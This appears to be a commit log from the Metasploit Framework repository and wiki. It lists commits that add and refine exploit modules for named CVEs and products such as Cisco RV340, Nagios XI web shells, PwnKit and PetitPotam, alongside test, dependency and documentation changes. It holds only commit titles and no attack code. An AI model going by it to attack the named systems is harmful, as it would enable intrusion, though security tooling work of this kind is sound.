Tim W 10470f1ed3 Land #16177, fix test/modules/post/test/search on osx 2022-02-13 10:55:40 +00:00
alanfoster 9098709fc3 Update Meterpreter file existence tests for CI environments 2022-02-12 22:45:18 +00:00
alanfoster b1d10bd699 Fix search path date test for osx 2022-02-12 22:23:18 +00:00
alanfoster ec2ae16135 Order loadpath summary output 2022-02-12 21:47:35 +00:00
alanfoster 395ab1d77e Specify mode rb on file reads 2022-02-12 21:39:12 +00:00
Pedro Ribeiro 99e2cfdab4 correct CVE number 2022-02-13 01:15:10 +07:00
Dhiraj Mishra 3f2d6b6c22 adding authors and removing C exploit reference 2022-02-12 11:52:23 +04:00
Tim W d4516278f0 bump metasploit-payloads to 2.0.74 2022-02-12 06:19:14 +00:00
Tim W c2cacffee9 Land #16170, fix java native_arch 2022-02-12 06:13:48 +00:00
Tim W 6b2c7aadfa bump metasploit-payloads to 2.0.73 2022-02-12 06:08:11 +00:00
bwatters 74521c8ced Update check for supported CentOS, Ubuntu, and Debian Targets 2022-02-11 20:30:05 -06:00
Grant Willcox 058bb33458 Merge me. More Rubocop updates 2022-02-11 17:28:16 -06:00
Grant Willcox 1a3f161ec0 Remove extra comments, randomize an additional parameter, update target section with affected versions 2022-02-11 17:26:42 -06:00
Grant Willcox cfa3d15cee Land #16161, Update user agent strings 2022-02-11 16:28:14 -06:00
Grant Willcox 47fea63fdf One more update to address Apple bumping some versions at the very last minute 2022-02-11 15:57:09 -06:00
Grant Willcox 953a4cb5dc Land #16171, Generate links to new docs site 2022-02-11 14:57:44 -06:00
Grant Willcox 862b057277 Fix up RuboCop issues 2022-02-11 14:18:25 -06:00
Grant Willcox 4c1b2478fa Add in exploit and documentation 2022-02-11 13:58:56 -06:00
Metasploit f71bbebc28 automatic module_metadata_base.json update 2022-02-11 12:04:03 -06:00
space-r7 db00991f26 Land #16150, add nagios xi web shell upload 2022-02-11 11:45:06 -06:00
usiegl00 72a0732009 Update ShadowMitmDispatcher to reduce ip lookups
The ShadowMitmDispatcher must be initialized with an interface, mac, and
ip address as keyword arguments. This prevents dispatchers from
retrieving the same network configuration multiple times.
2022-02-11 22:35:40 +09:00
adfoster-r7 f245c9b260 Updated 2017 Roadmap (markdown) 2022-02-11 13:03:43 +00:00
adfoster-r7 40956bf5b1 Generate links to new docs site 2022-02-11 12:55:04 +00:00
sjanusz 2b281dce5c Add support for Java Meterpreter's native_arch 2022-02-11 11:43:35 +00:00
adfoster-r7 c250605722 Land #16038, Add cname to metasploit docs 2022-02-11 10:16:30 +00:00
Pedro Ribeiro 963a8e7b0d add sploit for Cisco RV340 SSL VPN 2022-02-11 16:42:08 +07:00
Jake Baines e1da95243f Always clean up the created job 2022-02-10 17:39:07 -08:00
adfoster-r7 c4c39e97dd Add cname to metasploit docs 2022-02-10 23:46:47 +00:00
Heyder Andrade ca62a05ce1 Clenup and check strategy
- Removed else statements from check in favor of implicit return
- Added comment explaining the check strategy (to be less intrusive)
2022-02-11 00:30:31 +01:00
Heyder Andrade d1764b2e75 Update option name
Update option name from LOGPATH to LOGFILE to become more intuitive.
2022-02-11 00:00:19 +01:00
Heyder Andrade df53a62cc9 Making reason from failures more descriptives
Cases
[x] User defined wrong log file
    [-] Exploit aborted due to failure: unexpected-reply: Log file
/var/www/log.log seems doesn't exit
[x] module doesnt detect the log file
    [-] Log file does not exist /var/www/storage/logs/laravel.log
    [-] Exploit aborted due to failure: bad-config: Log file is
required, however it was defined nor it was not automatically detecte
[x] site doesnt respond with error, module unable to find the log
directoy
    [-] Unable to automatically find the log file. To continue set
LOGPATH manually
    [-] Exploit aborted due to failure: bad-config: Log file is
required, however it was defined nor it was not automatically detected
[x] site with debug mode false
    [-] Exploit aborted due to failure: not-vulnerable: The target is
not exploitable. "set ForceExploit true" to override check result
2022-02-10 23:40:49 +01:00
talhak08 69314786e0 OptString to OptBool 2022-02-10 23:35:55 +03:00
Jeffrey Martin 5bc60f5bf7 clear any additional response on smtp connect
When connecting to an SMTP server after `HELO` and auth
complete there can be additional data sent from the client
that sits in the socket queue. Adding a `get_once` after connection
has settled ensure any pending for extension responses are cleared.
2022-02-10 14:25:05 -06:00
talhak08 c5157935c4 CheckCodes and Failures fixed 2022-02-10 22:30:04 +03:00
Heyder Andrade 719e71648c Change Vulnerable to Appear in the check method
As we can't determine with certainly whether the target is vulnerable the check method should return appear instead of vulnerable.

Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
2022-02-10 20:08:36 +01:00
talhak08 1ad54ba48d The documentation edited and the defanged mode fixed 2022-02-10 21:13:31 +03:00
Metasploit 0ee0e3959d Bump version of framework to 6.1.30 2022-02-10 12:06:14 -06:00
talhak08 76e63d3474 Fixed the defanged mode. 2022-02-10 20:34:03 +03:00
talhak08 22564a5cdc Fixed the typo. 2022-02-10 20:29:19 +03:00
talhak08 e80ebdde66 Fixes according to the recommendations 2022-02-10 20:26:10 +03:00
bwatters 9635fde12d Add support and templates for aarch64 targets 2022-02-10 10:49:02 -06:00
usiegl00 8558f88a14 Update the Shadow Dispatcher for portability
Use PacketFu::Utils.whoami? instead of PacketFu::Utils.default_int to
retrieve the ip address for a network interface. The Exploit class for
the Shadow Dispatcher is now a module.
2022-02-10 22:42:25 +09:00
Grant Willcox 5431d3d0f6 Add in initial check method code 2022-02-09 20:12:41 -06:00
Grant Willcox 425e57b88b Land #16163, Add the ClaimsPrincipal .NET gadget chain 2022-02-09 14:46:38 -06:00
Jake Baines e18492a88a Update modules/exploits/linux/http/nagios_xi_autodiscovery_webshell.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-02-09 15:35:38 -05:00
Heyder Andrade cc52850ff0 Fix coding style offenses. 2022-02-09 21:30:17 +01:00
Heyder Andrade da1bc1f6d1 Change exploit Rank. Add AutoCheck. Remove custom timeout on request cgi. 2022-02-09 21:19:10 +01:00
Spencer McIntyre e6c1d20c5d Add the ClaimsPrincipal .NET gadget chain 2022-02-09 14:38:51 -05:00
Metasploit d33511ffcc automatic module_metadata_base.json update 2022-02-09 13:06:53 -06:00
space-r7 2e2bad0a98 Land #16147, improve ssh_enumusers user list gen 2022-02-09 12:48:05 -06:00
space-r7 47c74a0037 Land #16121, fix rhost exception due to no session 2022-02-09 10:38:34 -06:00
Tim W a50f39ac12 return super if no session 2022-02-09 10:08:02 +00:00
Jake Baines 0a78dd78ec Used suggested method for defining user webshell, used suggested depth configuration, and used vars_get in a couple of places 2022-02-08 18:20:03 -08:00
adfoster-r7 18aab3b918 Land #16160, Don't crash when the hostname can't be determined 2022-02-08 23:04:18 +00:00
Spencer McIntyre 72ca957285 Don't use default values 2022-02-08 17:40:03 -05:00
bwatters d1ba43e4c8 Remove hard-coded values 2022-02-08 16:00:20 -06:00
bwatters 65ebeafacc Use the supplied directory 2022-02-08 16:00:19 -06:00
bwatters c44fb6a9d3 ugly but working no-gcc module 2022-02-08 16:00:19 -06:00
Ashley Donaldson 1f60303772 Updated user agent strings as of 9 Feb 2022 2022-02-09 08:39:05 +11:00
Spencer McIntyre 1fe01087b6 Remove trailing whitespace from command output 2022-02-08 15:37:11 -05:00
Spencer McIntyre 7d9e6c2bb9 Don't crash when the hostname can't be determined
This fixes a framework-level crash when msfconsole initializes and the
HOSTNAME environment variable is not set and the hostname binary is
missing.
2022-02-08 15:14:36 -05:00
Metasploit 4130c61a14 automatic module_metadata_base.json update 2022-02-08 12:48:04 -06:00
space-r7 bed067dda0 Land #16125, add ARCH_CMD for GXV3140 support 2022-02-08 12:24:42 -06:00
Heyder Andrade 6b64c6b393 Add module documentation 2022-02-08 15:29:11 +01:00
Heyder Andrade c7092861e0 Fix the CVE format based on failed tests 2022-02-08 14:38:54 +01:00
Heyder Andrade f1fe6b7c89 Add module to CVE-2021-3129 2022-02-08 14:21:10 +01:00
talhak08 c3a9b9a7c5 Edited the documentation 2022-02-08 04:17:43 +03:00
talhak08 138856765f changed datastore's variable names and edited the documentation. 2022-02-08 04:14:45 +03:00
talhak08 b5e575dd1d Documentation's been added 2022-02-08 03:53:12 +03:00
talhak08 d2b0739d19 Rank's been deleted and fixed check method 2022-02-08 03:43:20 +03:00
talhak08 6955e2b4a2 Fixes 2022-02-08 03:29:49 +03:00
Talha Karakumru 274c48cf77 Microweber v1.2.10 Local File Inclusion (Authenticated) 2022-02-08 02:43:09 +03:00
Metasploit 96c72b0872 automatic module_metadata_base.json update 2022-02-07 16:01:55 -06:00
Spencer McIntyre 2f3e4742f4 Land #16151, Add QEMU Monitor HMP exec module 2022-02-07 16:43:08 -05:00
Jeffrey Martin 52c3d92d14 initial GSoC 2022 updates 2022-02-07 14:57:48 -06:00
Brendan Coles 5bbe934db9 Add QEMU Monitor HMP 'migrate' Command Execution module 2022-02-07 17:48:27 +00:00
Metasploit a554a98965 automatic module_metadata_base.json update 2022-02-07 10:14:21 -06:00
Christophe De La Fuente fa849e51c3 Land #16137, Update PrintNightmare to use the moved DCERPC definitions 2022-02-07 16:54:09 +01:00
Christophe De La Fuente f99438b9d1 Add target security settings info to the documentation 2022-02-07 16:48:34 +01:00
adfoster-r7 4294dcbc80 Land #16143, Fix unknown platform error against windows when using SSH login
Fix unknown platform error against Windows when using SSH Login
2022-02-07 11:50:02 +00:00
Jake Baines 0fcc7e7733 Fixed spelling errors in descriptions 2022-02-06 02:55:17 -08:00
Jake Baines 2e0915fbd4 Fix the Claroty team name 2022-02-06 02:47:43 -08:00
Jake Baines 9758251278 Initial commit of CVE-2021-37343 2022-02-05 18:21:18 -08:00
Spencer McIntyre dcb2f4be4c Improve user list generation for ssh_enumusers 2022-02-04 16:08:30 -05:00
Spencer McIntyre 05b3c3535d Apply rubocop fixes for ssh_enumusers 2022-02-04 15:57:51 -05:00
Metasploit 1fd4bb5b46 automatic module_metadata_base.json update 2022-02-04 14:33:22 -06:00
Spencer McIntyre e2c91ebf30 Land #16010, zabbix_script_exec improvements
This updates the zabbix_script_exec module to work with versions 5.0 and
newer as well as adds a new item-based execution technique.
2022-02-04 15:13:13 -05:00
Spencer McIntyre ae278d0568 Cleanup some minor typos 2022-02-04 15:12:57 -05:00
Metasploit 4215b17d6b automatic module_metadata_base.json update 2022-02-04 13:07:09 -06:00
Christophe De La Fuente 65949cf3c1 Land #16136, Add a port of PetitPotam to Metasploit 2022-02-04 19:45:40 +01:00
Spencer McIntyre b05b7fcb5d Bump ruby_smb to 3.0.2
This pulls in the new DCERPC definitions
2022-02-04 13:14:10 -05:00
Spencer McIntyre bb94115e3a Return nil instead of failing 2022-02-04 13:12:09 -05:00
Spencer McIntyre dd64dcf074 Finish the PetitPotam module with docs 2022-02-04 13:12:08 -05:00
Spencer McIntyre 4cac9cae8d Initial commit of authenticated petit potam 2022-02-04 13:12:08 -05:00
adfoster-r7 d4fec76721 Additional notes on setting up windows 2022-02-04 17:26:49 +00:00
Spencer McIntyre ad1df382e5 Bump ruby_smb to 3.0.2
This pulls in the new DCERPC definitions
2022-02-04 11:50:16 -05:00
sjanusz 3c6cd7cc0a Make platform check case-insensitive 2022-02-04 15:47:15 +00:00
adfoster-r7 4f69089690 Fix to_handler case sensitivity issue 2022-02-04 13:39:07 +00:00
lap1nou 8838d9cb66 Added timeout system, fixed a bug with TLS_PSK, linted 2022-02-04 04:01:23 -08:00
h00die 5f45e40192 update wp-exploitable-plugins 2022-02-03 17:37:27 -05:00
Spencer McIntyre 7cbe70b05c Land #16142, Bump metasploit-payloads to 2.0.72 2022-02-03 16:31:07 -05:00
Spencer McIntyre 965493191f Add and use a Log4Shell mixin 2022-02-03 16:09:49 -05:00
Metasploit c89ecd9c75 Bump version of framework to 6.1.29 2022-02-03 12:07:08 -06:00
Tim W 80a6e2920c Update metasploit-payloads gem to 2.0.72 2022-02-03 13:39:12 +00:00
h00die 11c67ce7d7 wp_modern_events_calendar_sqli 2022-02-02 19:21:42 -05:00
lap1nou 645ef5e71f Fixed few bugs 2022-02-02 14:30:02 -08:00
adfoster-r7 5647e1a94f Add service manager commands to msfconsle 2022-02-02 22:26:41 +00:00
lap1nou 7bf08a28ea Modified default stager 2022-02-02 12:34:07 -08:00
Dhiraj Mishra 30b8e2196b payload_file spaces
Thank you bcoles

Co-authored-by: bcoles <bcoles@gmail.com>
2022-02-02 21:30:13 +04:00
Dhiraj Mishra 2df0f8bf55 delete compiled binary 2022-02-02 20:46:11 +04:00
adfoster-r7 b0e7f10075 Remove documentation link, as it will be generated in the future 2022-02-02 00:49:37 +00:00
lap1nou de32cc0e97 Linted with Rubocop, factorized API call, fixed some grammmar 2022-02-01 13:29:30 -08:00
Spencer McIntyre b146f098a2 Update to use the moved DCERPC definitions 2022-01-31 09:03:07 -05:00
usiegl00 8bf51dd1d8 Update smb_shadow and shadow_mitm_dispatcher
The dispatcher no longer uses an override flag, Instead the smb_shadow
module explicitly sets the attributes.
2022-01-31 14:49:18 +09:00
Tod Beardsley 0e808ebc5d Update ruby -v check to point to at least Ruby 3, since Ruby 2.5 is no longer supported. 2022-01-30 10:13:19 -08:00
Jake Baines 3371051f11 Switch to using the sqli library 2022-01-30 05:16:01 -08:00
Jake Baines 901adf510f Fixed rubocop issue 2022-01-30 03:54:20 -08:00
Jake Baines 3f719474b2 Merge branch 'grandstream_CVE_2020_5724' of github.com:jbaines-r7/metasploit-framework into grandstream_CVE_2020_5724 2022-01-30 03:48:37 -08:00
Jake Baines 65c296818f Addressed review items 2022-01-30 03:48:31 -08:00
Jake Baines f9c113f63d Addressed various review items 2022-01-30 03:42:15 -08:00
Grant Willcox 3cfbc7fbd1 Fix broken link that lead to a weird French website and not the one we were after. Remove GitHub learning site since apparently they took that link down. Add in Codeademy course on Git since that helped me a lot when I was starting out. Also add in Git Branching tutorial since that helped me out when I was starting out. 2022-01-29 23:01:02 -06:00
Brendan Coles feebf25ad4 Add support for GXV3140 models and ARCH_CMD busybox telnetd payload 2022-01-29 19:38:57 +00:00
Brendan Coles a4fcddca8e Rename to grandstream_gxv31xx_settimezone_unauth_cmd_exec 2022-01-29 19:24:09 +00:00
bcoles 4a81d69716 Updated How to use command stagers (markdown) 2022-01-30 01:45:04 +11:00
bcoles 90f79b67a2 Updated How to use command stagers (markdown) 2022-01-30 01:44:39 +11:00
Tim W 613e06a8df Fix exception in rhost during staging 2022-01-29 07:59:22 +00:00
Spencer McIntyre 919185257d Update the URL to the archive for struts2 2022-01-28 16:17:48 -05:00
Spencer McIntyre d46822184f Updates for Log4Shell 2022-01-28 14:56:44 -05:00
usiegl00 dbc8a70b7c Merge remote-tracking branch 'origin/master' into mitm_dispatcher 2022-01-28 10:24:50 +09:00
usiegl00 0259e586a9 Update smb_shadow module and rename MitmDispatcher
The MitmDispatcher is now the ShadowMitmDispatcher to help prevent name
confusion. Updated the ShadowMitmDispatcher to use native rex lib calls
to decode binary fields.
2022-01-28 08:39:07 +09:00
Grant Willcox 4cb0eb3875 Updated Home (markdown) 2022-01-27 12:51:44 -06:00
Grant Willcox 9396049c8d Add in note about our Rapid7 GitHub website so people can more easily search the site. 2022-01-27 12:51:31 -06:00
Dhiraj Mishra 97d83f3fd5 cve_2021_4034_pwnkit_lpe_pkexec.md 2022-01-27 18:32:46 +04:00
Dhiraj Mishra ad190fe80f Spaces at EOL 2022-01-27 12:51:36 +04:00
Dhiraj Mishra 4828bc58e6 Spaces at EOL and Date 2022-01-27 12:43:41 +04:00
Dhiraj Mishra dbca5eeb07 Some linting 2022-01-27 12:32:33 +04:00
Dhiraj Mishra 6b1c4f4efd Add files via upload 2022-01-26 23:21:16 +04:00
Dhiraj Mishra bfb9882fd4 cve_2021_4034.c 2022-01-26 23:20:55 +04:00
Dhiraj Mishra 4c0340b26c cve_2021_4034_pwnkit_lpe_pkexec 2022-01-26 23:05:36 +04:00
3V3RYONE 19ef3eb8aa delete extra parameter in msfdb 2022-01-25 20:24:14 +05:30
3V3RYONE f7ce4c9879 use Dir.tmpdir to simplify changes 2022-01-25 20:11:57 +05:30
3V3RYONE b9bef8bbdd make the changes work for both linux and windows 2022-01-24 00:25:25 +05:30
3V3RYONE bba97a70ed update unix_socket_directories path for psql cmds 2022-01-23 21:01:11 +05:30
Jake Baines 45bd890c2d Update grandstream_ucm62xx_sql_account_guess.rb
Spelling in the description
2022-01-22 15:55:30 -05:00
Jake Baines a253470623 Update grandstream_ucm62xx_sql_account_guess.md
Fix spelling
2022-01-22 15:54:40 -05:00
Jake Baines 642b04ca45 Merge branch 'rapid7:master' into grandstream_CVE_2020_5724 2022-01-22 15:38:55 -05:00
3V3RYONE 061987982f change unix socket directories for pg start 2022-01-23 00:02:07 +05:30
Jake Baines e7198f7e20 Module for dumping the users table from Grandstream UCM62xx IP PBX before 1.20.22 2022-01-22 04:10:35 -08:00
usiegl00 5cc716fa0d Add MitmDispatcher to the smb_shadow module
The MitmDispatcher reduces code repetition and enables the use of
standard RubySMB syntax. I have noticed increased power draw when using
the new dispatcher compared to the previous (less stateful) approach.
2022-01-21 14:57:07 +09:00
wvu-r7 a468e157b2 Remove myself 2022-01-20 19:43:26 -06:00
Brendan Coles c17c2636ae post/osx/gather/hashdump: Add 'meterpreter' to supported SessionTypes 2022-01-20 13:11:24 +00:00
h00die 3a66a9a899 Updated Hashes and Password Cracking (markdown) 2022-01-17 11:41:31 -05:00
h00die cefe3007da fix --no-log vs --nolog 2022-01-17 11:39:01 -05:00
shoxxdj 57efcefe82 improve wordpress_scanner module 2022-01-17 11:32:48 +01:00
shoxxdj 42142a4ba4 add option to retrieve users from wordpress API 2022-01-13 16:56:23 +01:00
lap1nou cb616b94c7 Removed some useless parameter + fixed a few bugs 2022-01-09 13:08:25 -08:00
lap1nou 53c2400be9 Added cleaning procedure + fixed few mistakes/error mesage, removed unused docs 2022-01-08 10:56:31 -08:00
lap1nou ccc90b0330 Linted doc+module, added support for 6.x version, aded support for TLS and item RCE, improved payload management 2022-01-07 17:40:15 -08:00
adfoster-r7 27f0624d57 Use ascii characters 2022-01-07 18:01:25 +00:00
adfoster-r7 e7166313d8 Use spaces for characters 2022-01-07 17:55:21 +00:00
adfoster-r7 6712b12511 Align quote usage 2022-01-07 17:47:05 +00:00
adfoster-r7 af888f1af0 Align quote usage 2022-01-07 17:44:26 +00:00
lap1nou c9cc6d85ac Refactored code by using Zabbix HTTP API, should work with 2.x, 3.x, 4.x, 5.x 2022-01-05 13:35:40 -08:00
lap1nou 6aa289f3dc Merged both module, stil WIP 2022-01-03 16:20:16 -08:00
lapinou 7843b1bb99 Add files via upload 2022-01-02 00:30:07 +01:00
lapinou 18834f673c Add files via upload 2022-01-02 00:29:36 +01:00
Grant Willcox 9af9b4277d Remove extra "or" from sentence 2021-12-21 11:47:02 -06:00
Grant Willcox 8c6cd41ff0 Update exploit ranking info to be clearer to end users on the difference between our different ranks. 2021-12-21 11:45:16 -06:00
h00die 01c2891077 Created Sanitizing PCAPs (markdown) 2021-12-19 16:27:08 -05:00
Jeffrey Martin 2a73117f82 release version update for Pro 4.21.0 2021-12-09 08:30:15 -06:00
adfoster-r7 066087a8bd Updated Git cheatsheet (markdown) 2021-12-02 01:44:01 +00:00
adfoster-r7 6efacd543f Update link directly to nightly installers 2021-12-01 22:46:01 +00:00
adfoster-r7 dd8659532d Change NT:LM to NTLM 2021-12-01 22:41:48 +00:00
wvu e89ead9690 Clarify where IgnoreUnknownPayloads applies 2021-11-23 18:39:57 -06:00
adfoster-r7 03e13b60f3 Remove indentation 2021-11-17 12:56:37 +00:00
adfoster-r7 b6c40a893b Updated Using Metasploit (markdown) 2021-10-01 10:11:15 +01:00
Spencer McIntyre ebfbf712b0 Updated Creating Metasploit Framework LoginScanners (markdown) 2021-09-24 16:38:52 -04:00
Spencer McIntyre c719907e8e Updated Creating Metasploit Framework LoginScanners (markdown) 2021-09-24 16:35:29 -04:00
adfoster-r7 9804cbe6db Updated Using Metasploit (markdown) 2021-09-20 22:07:25 +01:00
Jeffrey Martin 4c005ebc91 use archive links for 4.19.0 2021-09-16 08:01:08 -05:00
adfoster-r7 e923cc308f Rename 2021-09-09 21:11:23 +01:00
adfoster-r7 477fc900f0 Consolidate label documentation 2021-09-09 21:09:07 +01:00
adfoster-r7 bd4d794e14 Remove dead link 2021-09-09 15:55:30 +01:00
adfoster-r7 63c59cc0bd Destroyed Rex Layout (markdown) 2021-09-09 15:53:37 +01:00
adfoster-r7 63c63806c8 Cleanup markdown uses 2021-09-07 00:59:05 +01:00
adfoster-r7 ba9605a7f3 Fix Go formatting 2021-09-06 23:28:10 +01:00
adfoster-r7 90e7793132 Use relative markdown links instead of absolute 2021-09-06 19:30:38 +01:00
adfoster-r7 98d7df3acd Use kramdown flavored markdown instead of github flavored markdown 2021-09-06 19:22:01 +01:00
adfoster-r7 883866d7a8 Fix markdown 2021-09-06 13:51:44 +01:00
adfoster-r7 7cba3231c4 Use markdown link syntax 2021-09-06 12:32:32 +01:00
adfoster-r7 3762829f01 Fix dead links 2021-09-06 12:27:30 +01:00
adfoster-r7 6ce1402851 Fix dead links 2021-09-06 11:57:25 +01:00
adfoster-r7 020d3b05a1 Remove summary/detail wrappers 2021-09-06 11:57:25 +01:00
adfoster-r7 efafe49e74 Rename .Net Deserialization to Dot-Net-Deserialization 2021-09-06 11:57:25 +01:00
adfoster-r7 28a71032a5 Updated API (markdown) 2021-09-06 01:45:38 +01:00
adfoster-r7 cb7a2e1526 Created API (markdown) 2021-09-06 01:42:42 +01:00
adfoster-r7 d8a224e41f Fix broken link 2021-09-05 16:51:22 +01:00
adfoster-r7 a69c90867c Fix invalid links 2021-09-05 15:47:15 +01:00
adfoster-r7 6ff3266e38 Update textile to markdown 2021-09-05 15:34:43 +01:00
adfoster-r7 4949c458a6 Update textile to markdown 2021-09-05 15:34:06 +01:00
adfoster-r7 6435efa580 Rename file extension for consistency 2021-09-05 15:30:43 +01:00
adfoster-r7 8a6c4d87ad Remove dead link 2021-09-04 23:20:18 +01:00
adfoster-r7 6e3a1ed14b Update link to be consistent 2021-09-04 23:18:53 +01:00
adfoster-r7 70343a57fc Fix broken link 2021-09-04 23:15:50 +01:00
Spencer McIntyre 0aea67b17d Updated Hashes and Password Cracking (markdown) 2021-09-02 15:26:17 -04:00
Brendan 6d3032afce Update for automated rubocopping 2021-08-30 13:34:53 -05:00
h00die 7883d99e95 Updated How to Send an HTTP Request Using HttpClient (markdown) 2021-08-27 17:36:11 -04:00
adfoster-r7 db8bc751a2 Add note on existing rhosts functionality 2021-08-26 14:12:01 +01:00
adfoster-r7 f355fc6b3f Add examples of uri support 2021-08-23 11:57:58 +01:00
h00die 816126e226 update postgres and fix link to framework 2021-08-22 11:52:08 -04:00
Jeffrey Martin 34aae6dc10 Updated Downloads by Version for 4.20.0 (textile) 2021-08-19 08:01:55 -05:00
Grant Willcox b146b07382 Updated Setting Up a Metasploit Development Environment (markdown) 2021-06-30 12:32:57 -05:00
Grant Willcox bdab06ec47 Add in clarification around SSH keys per various user's comments. 2021-06-30 12:16:33 -05:00
wvu 88f07e6388 Once more, with feeling 2021-06-24 18:51:37 -05:00
wvu 36d8442bbe Update note about bundle install 2021-06-24 18:49:26 -05:00
wvu f973d9c682 Updated Landing Pull Requests (markdown) 2021-06-24 18:20:02 -05:00
adfoster-r7 c62f89a9e9 Updated Definition of Module Reliability, Side Effects, and Stability (markdown) 2021-06-14 11:34:04 +01:00
adfoster-r7 b0eda8f676 Updated Definition of Module Reliability, Side Effects, and Stability (markdown) 2021-06-11 11:04:11 +01:00
adfoster-r7 3b1ce614dd Updated Definition of Module Reliability, Side Effects, and Stability (markdown) 2021-06-11 11:03:56 +01:00
adfoster-r7 8afa2e8142 Updated Definition of Module Reliability, Side Effects, and Stability (markdown) 2021-06-11 10:56:47 +01:00
dwelch-r7 3466298940 Updated Definition of Module Reliability, Side Effects, and Stability (markdown) 2021-06-11 10:54:39 +01:00
bcoles 65fed5ee3f Note that CheckCode may return an optional description 2021-06-09 00:10:20 +10:00
bcoles fe1c8f2ac1 Fix typos and syntax 2021-06-08 23:59:01 +10:00
Spencer McIntyre 1ec0c3c299 Fix up some minor typos 2021-06-04 13:31:16 -04:00
Spencer McIntyre 20abf44f26 Update the datastore options documentation 2021-06-04 12:07:43 -04:00
Brendan 6688301af3 Created Metasploit Breaking Changes (markdown) 2021-05-26 08:15:58 -05:00
Spencer McIntyre 225f1d7da7 Updated Get Started Writing an Exploit (markdown) 2021-05-20 14:03:34 -04:00
Spencer McIntyre f96cea60c1 Updated How to get started with writing an auxiliary module (markdown) 2021-05-20 14:01:07 -04:00
adfoster-r7 b2bee33c1e Updated How to Send an HTTP Request Using HttpClient (markdown) 2021-05-14 14:54:20 +01:00
adfoster-r7 dc3a0232bf Updated How to Send an HTTP Request Using HttpClient (markdown) 2021-05-14 14:53:53 +01:00
agalway-r7 a51f70c244 Adds documentation for the Cookie & CookieJar send_request_cgi functionality 2021-05-07 14:20:48 +01:00
wvu 9937b867a6 Updated How to write a browser exploit using BrowserExploitServer (markdown) 2021-04-27 16:11:22 -05:00
Jeffrey Martin e379209ea8 add smashery to committers 2021-04-19 12:39:29 -05:00
Pearce Barry 16c4a3d423 Updated Downloads by Version (textile) 2021-04-01 15:50:37 -05:00
Spencer McIntyre 226fc66a07 Add a note on Python versions 2021-04-01 10:01:28 -04:00
Jeffrey Martin fc88ee0413 Updated GSoC How-to 2021-03-17 09:30:49 -05:00
Spencer McIntyre 1d307c8154 Fix a couple of minor typos 2021-03-16 17:45:20 -04:00
Spencer McIntyre 7b43458d37 Promote the Regenerating section to H2 2021-03-12 12:06:08 -05:00
Shelby Pace fae46575aa Updated Generating ysoserial Java serialized objects (markdown) 2021-03-12 11:00:41 -06:00
Spencer McIntyre d6a2a2cd43 Update the documentation now that 14732 has been landed 2021-03-12 11:41:42 -05:00
Shelby Pace b137b749a2 add wiki page for favorite 2021-03-08 13:21:15 -06:00
Grant Willcox f3ad052348 Updated Using Metasploit (markdown) 2021-03-08 11:54:17 -06:00
Grant Willcox 2208df027e Add link to TryHackMe room and also note the Offensive Security documentation is slightly outdated now in some places. 2021-03-08 11:53:34 -06:00
Grant Willcox 1dd55291d9 Updated Home (markdown) 2021-03-08 11:20:59 -06:00
Grant Willcox a049dd89fa Updated Navigating Metasploit's Codebase (markdown) 2021-03-08 11:18:36 -06:00
Grant Willcox 1208d309ef Created Navigating Metasploit's Codebase (markdown) 2021-03-08 10:53:09 -06:00
Jeffrey Martin 017f95ac17 fix typo 2021-02-22 09:48:45 -06:00
Spencer McIntyre d1fef9e280 Note info -d will show the relevant pull requests for a module 2021-02-22 07:45:33 -05:00
Jeffrey Martin d227dbc194 add difficulty to open auth retention 2021-02-18 11:02:03 -06:00
Jeffrey Martin 0c1df63c60 add h00die's active auth retention idea 2021-02-18 11:00:07 -06:00
Jeffrey Martin 7d8a1cdf8e update for 2021 link 2021-02-09 15:20:02 -06:00
Jeffrey Martin 6a4fe3f600 add 2021 GSoC ideas page 2021-02-09 10:15:39 -06:00
Spencer McIntyre b4b77d0623 Update the ysoserial java documentation 2021-02-09 10:20:08 -05:00
acammack-r7 a20d850bdc Add moved_from 2021-02-04 10:03:57 -05:00
adfoster-r7 a9a5b4d513 Add note about loading Go/Python modules 2021-02-02 14:00:32 +00:00
adfoster-r7 84110ed3b9 Document that modules must be marked as executable 2021-02-02 13:57:14 +00:00
bcoles 0db7d59da9 Remove vprint_debug - [v]print_debug is no longer used by the framework 2021-01-29 11:41:40 +11:00
h00die e24273e9a3 magic_quotes 2021-01-02 13:38:15 -05:00
Spencer McIntyre 0f70fc762b Note the compatibility changes for Meterpreter 2020-12-17 15:00:46 -05:00
Pearce Barry 80f6c9557d Updated Downloads by Version (textile) 2020-10-28 13:23:15 -05:00
h00die e727f428ea add one column note 2020-10-27 19:32:20 -04:00
h00die 2cbfbd44d7 Updated SQL Injection (SQLi) Libraries (markdown) 2020-10-26 19:44:34 -04:00
h00die ba95d59482 Created SQL Injection (SQLi) Libraries (markdown) 2020-10-26 19:41:54 -04:00
h00die a8f62c7b94 bold the fact the file must be executable 2020-10-17 20:57:01 -04:00
h00die 0278976121 add md5u 2020-10-10 11:55:23 -04:00
Grant Willcox 6e51ba2289 Add initial copy of information about how to use Gemfile.local.example as a template to them test Gem file updates with minimal setup 2020-09-23 17:19:02 -05:00
wvu-r7 8afcb0f199 Updated How to Send an HTTP Request Using HTTPClient (markdown) 2020-09-16 12:23:07 -05:00
Grant Willcox dbf7f8af8a Updated Setting Up a Metasploit Development Environment (markdown) 2020-09-16 11:48:45 -05:00
Pearce Barry 738d086759 Updated Downloads by Version (textile) 2020-08-19 13:30:37 -05:00
Pearce Barry 9e0373f9a3 Updated Downloads by Version (textile) 2020-08-19 13:27:30 -05:00
Grant Willcox 5bbe998361 Okay now this should have the update to link to the new template we created 2020-08-18 09:15:10 -05:00
Grant Willcox a94aad53f3 Updated Using ReflectiveDLL Injection (markdown) 2020-08-18 09:14:22 -05:00
h00die 94fa9ad405 Adding a New Hash 2020-08-14 16:14:29 -04:00
Spencer McIntyre 4dc8ba2680 Link to the new SMB module guidelines 2020-08-06 13:49:52 -04:00
Spencer McIntyre a28cb414b0 Make the title "modules" plural 2020-08-06 13:49:23 -04:00
cdelafuente-r7 9f3e5964f2 Created Guidelines for Writing Module with SMB (markdown) 2020-08-06 18:09:56 +02:00
Spencer McIntyre 1f3efe1ac0 Update the initial announcement link 2020-08-06 11:56:33 -04:00
Spencer McIntyre fd08f83345 Created Metasploit 6.0 Development Notes (markdown) 2020-08-06 11:54:24 -04:00
Brent Cook 8037a88eba Updated Nightly Installers (markdown) 2020-08-05 21:00:25 -05:00
Spencer McIntyre 32d3ca6f81 Destroyed Metasploit 6.0 Release Notes (markdown) 2020-08-03 19:10:42 -04:00
